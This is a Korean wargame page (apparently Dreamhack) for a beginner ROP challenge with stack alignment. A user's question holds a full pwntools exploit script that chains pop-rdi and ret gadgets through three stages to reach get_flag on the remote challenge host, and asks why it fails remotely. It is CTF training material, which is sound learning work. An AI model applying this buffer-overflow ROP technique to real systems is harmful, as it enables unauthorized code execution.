LEVEL 1

stack aligne test

pwnable
  • 문제 정보
  • 풀이 26
  • 난이도 투표 42
  • 질문 1
  • 최근 풀이자 172
  • 댓글 6

문제 설명

간단한 ROP 문제입니다! 근데 이제 스택 정렬을 곁들인

난이도 투표 42

질문 1

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
로되리안인데.. 정말 이유를 모르겠습니다.
from pwn import * import time p = process('./chall') p = remote('host8.dreamhack.games', 16761) e = ELF('./chall') context.log_level = 'debug' execute_stage1 = e.symbols['execute_stage1'] execute_stage2 = e.symbols['execute_stage2'] vulnerable = e.symbols['vulnerable'] get_flag = e.symbols['get_flag'] retgadget = 0x40101a pop_rdi_ret = 0x401565 p.recvuntil(b'key: ') stage1_key = int(p.recvn(10), 16) stage1_rdi = stage1_key ^ 0xCAFEBABE print('stage1_key.. ' + hex(stage1_key)) print('stage1_rdi.. ' + hex(stage1_rdi)) print('execute_stage1.. ' + hex(execute_stage1)) print('execute_stage2.. ' + hex(execute_stage2)) payload = b'A' * 0x10 payload += b'B' * 0x8 payload += p64(pop_rdi_ret) payload += p64(stage1_rdi) payload += p64(retgadget) payload += p64(execute_stage1) payload += p64(vulnerable) p.sendafter(b'Input: ', payload) p.recvuntil(b'key: ') stage2_key = int(p.recvn(10), 16) stage2_rdi = stage2_key ^ 0xF00DBABE print('stage2_key.. ' + hex(stage2_key)) print('stage2_rdi.. ' + hex(stage2_rdi)) payload = b'A' * 0x10 payload += b'B' * 0x8 payload += p64(pop_rdi_ret) payload += p64(stage2_rdi) payload += p64(execute_stage2) payload += p64(retgadget) payload += p64(vulnerable) p.sendafter(b'Input: ', payload) p.recvuntil(b'key: ') stage3_key = int(p.recvn(10), 16) stage3_rdi = stage3_key ^ 0x12345678 print('stage3_key.. ' + hex(stage3_key)) print('stage3_rdi.. ' + hex(stage3_rdi)) payload = b'A' * 0x10 payload += b'B' * 0x8 payload += p64(pop_rdi_ret) payload += p64(stage3_rdi) payload += p64(retgadget) payload += p64(get_flag) p.sendafter(b'Input: ', payload) p.interactive() 출제자님의 의도대로 풀기 위해서 각 함수를 전부 사용하여 익스플로잇 했습니다. 로컬에선 정상적으로 작동해서 get_flag 함수까지 호출 되지만, 리모트에선 첫 번째 페이로드가 전송되고 EOFerror가 뜨면서 작동이 안 됩니다... 첫 번째 페이로드 전송 후 p.recvuntil(b'key: ') 에서 응답 값이 없어서 멈추는데, 이유를 전혀 모르겠습니다..
F3dr3w
LEVEL 1

stack aligne test

pwnable

출제자 정보

YEONBA
.HACK 2025 참가자

First Blood!

avatar
p0her
Open Beta Tester
출제된 지 3분 만에 풀이 완료!

최근 풀이자 172

avatar
Lacroix
대표 업적 없음
외눈물고기
대표 업적 없음
avatar
wiimdy
세계수
avatar
obiwan
조커
avatar
하지만또다시
웹해킹 전문가
avatar
fsharp
러너
avatar
kidz0
시스템 해킹 전문가
whoami_mr.x
대표 업적 없음
avatar
__Ph4nt0m_Byt3
워게임: 20
avatar
ㅤㅤㅤㅤㅤㅤ
대표 업적 없음

댓글 6

avatar
__Ph4nt0m_Byt3
워게임: 20
누가 인텐인가
haehae
대표 업적 없음
일단 성실하게 인텐으로...
우도우도
Misc 초심자
어디까지가 인텐인가
avatar
지후니ab1
대표 업적 없음
어디까지가 인텐인가
avatar
Rootsquare
바탈리온
함수의 반환 주소는 어떤 값으로든 덮을 수 있다.
avatar
z3rodae0
시니어
Good paths take time.